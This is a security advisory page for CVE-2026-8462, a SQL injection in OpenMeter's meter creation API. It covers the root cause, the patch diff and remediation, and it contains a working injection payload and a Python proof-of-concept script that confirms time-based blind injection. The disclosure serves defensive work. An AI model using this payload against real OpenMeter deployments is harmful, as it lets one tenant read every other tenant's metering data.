Skip to main content

OpenMeter CVE-2026-8462

MEDIUM
SQL Injection (CWE-89)
2026-06-04 https://github.com/openmeterio/openmeter GHSA-wc3v-3457-c8cm
Share

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 04, 2026 - 19:21 vuln.today
Analysis Generated
Jun 04, 2026 - 19:21 vuln.today

DescriptionCVE.org

Summary

An authenticated tenant can inject arbitrary SQL through the valueProperty or groupBy fields of POST /api/v1/meters. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.

Details

openmeter/streaming/clickhouse/utils_query.go:15 builds a ClickHouse SELECT by interpolating user input with fmt.Sprintf:

go
sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))

sqlbuilder.Escape() (go-sqlbuilder v1.40.2) only replaces $$$ to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. sb.Build() always returns an empty args slice - the query is never parameterized.

The payload must be prefixed with a valid JSONPath expression (e.g. $.foo) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which ValidateJSONPath silently treats as "invalid JSONPath" and returns early - before the injected branch can execute.

Working payload:

$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --

Generated SQL:

sql
SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'

Fix - replace fmt.Sprintf string interpolation with sb.Var(), which appends the value to the builder's args list and emits a ? placeholder:

diff
-sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
+sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath)))

PoC

poc.py:

python
import json, time, uuid
from urllib.request import Request, urlopen

SLEEP   = 3
API     = "http://localhost:48888"
PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --"

def post_meter(value_property):
    body = json.dumps({
        "slug":          f"poc_{uuid.uuid4().hex[:8]}",
        "eventType":     "x",
        "aggregation":   "SUM",
        "valueProperty": value_property,
    }).encode()
    req = Request(f"{API}/api/v1/meters", data=body,
                  headers={"Content-Type": "application/json"}, method="POST")
    t0 = time.monotonic()
    with urlopen(req, timeout=SLEEP + 10) as r:
        return r.status, time.monotonic() - t0

_, baseline = post_meter("$.tokens")
status, elapsed = post_meter(PAYLOAD)

print(f"baseline : {baseline:.3f}s")
print(f"injected : {elapsed:.3f}s  (HTTP {status})")
print(f"result   : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}")
shell
docker compose up -d
until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done
python3 poc.py

Expected output:

baseline : 0.036s
injected : 3.031s  (HTTP 200)
result   : sleep(3) CONFIRMED

Impact

SQL injection via POST /api/v1/meters (valueProperty or groupBy). Requires a valid tenant API key; no other preconditions. The shared openmeter.om_events table has no row-level security - a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research

AnalysisAI

SQL injection in OpenMeter's meter creation API allows any authenticated tenant to execute arbitrary ClickHouse SQL against a shared database with no row-level security, enabling full cross-tenant data exfiltration. The vulnerable endpoint is POST /api/v1/meters, where the valueProperty and groupBy fields are interpolated directly into ClickHouse SELECT statements via fmt.Sprintf without parameterization, and the sanitization function (sqlbuilder.Escape) only escapes library-internal placeholder characters - not single quotes. A publicly available exploit code (PoC) exists demonstrating confirmed time-based blind injection, and no public exploit identified at time of analysis in the CISA KEV sense, though the PoC lowers the barrier to exploitation significantly.

Technical ContextAI

OpenMeter is a Go-based metering platform (package: pkg:go/github.com_openmeterio_openmeter) that uses ClickHouse as its streaming analytics backend. The root cause (CWE-89, Improper Neutralization of Special Elements in an SQL Command) lives in openmeter/streaming/clickhouse/utils_query.go:15, where user-supplied JSONPath strings from the meter creation API are interpolated into raw ClickHouse SQL using fmt.Sprintf. The sanitization function sqlbuilder.Escape() from go-sqlbuilder v1.40.2 only substitutes dollar signs ($ → $$) to avoid conflicts with the library's own placeholder syntax - it explicitly does not escape single quotes. The query builder's sb.Build() call always returns an empty args slice, confirming the query is never parameterized. A secondary bypass exists: ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath, which ValidateJSONPath silently treats as rejection and returns early. Attackers must prefix payloads with a valid JSONPath token (e.g., $.foo) to pass this check and reach the execution stage. The shared openmeter.om_events table has no row-level security, so a successful injection operates across all tenant data with no access boundary.

RemediationAI

Upgrade to OpenMeter v1.0.0-beta.228 or later, confirmed fixed via PR #4383 (https://github.com/openmeterio/openmeter/pull/4383) and commit 6ce29e743165890c10346f4c71d5bf79f1ecaf6f. The fix replaces the unsafe fmt.Sprintf string interpolation with sqlbuilder.Buildf() using a %v placeholder, which causes JSONPath values to be passed as bound query parameters (? placeholders in the generated SQL) rather than concatenated into the query string - confirmed by the added test asserting the output is SELECT JSON_VALUE('{}', ?) with args []interface{}{'$.foo.bar'}. The full release is at https://github.com/openmeterio/openmeter/releases/tag/v1.0.0-beta.228. If immediate patching is not feasible, restrict access to POST /api/v1/meters at the reverse proxy or API gateway level so that only trusted administrative clients (not individual tenants) can invoke meter creation - this eliminates the attack surface but prevents self-service meter provisioning by tenants. There is no server-side configuration workaround that preserves the existing meter creation functionality without applying the patch.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-8462 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy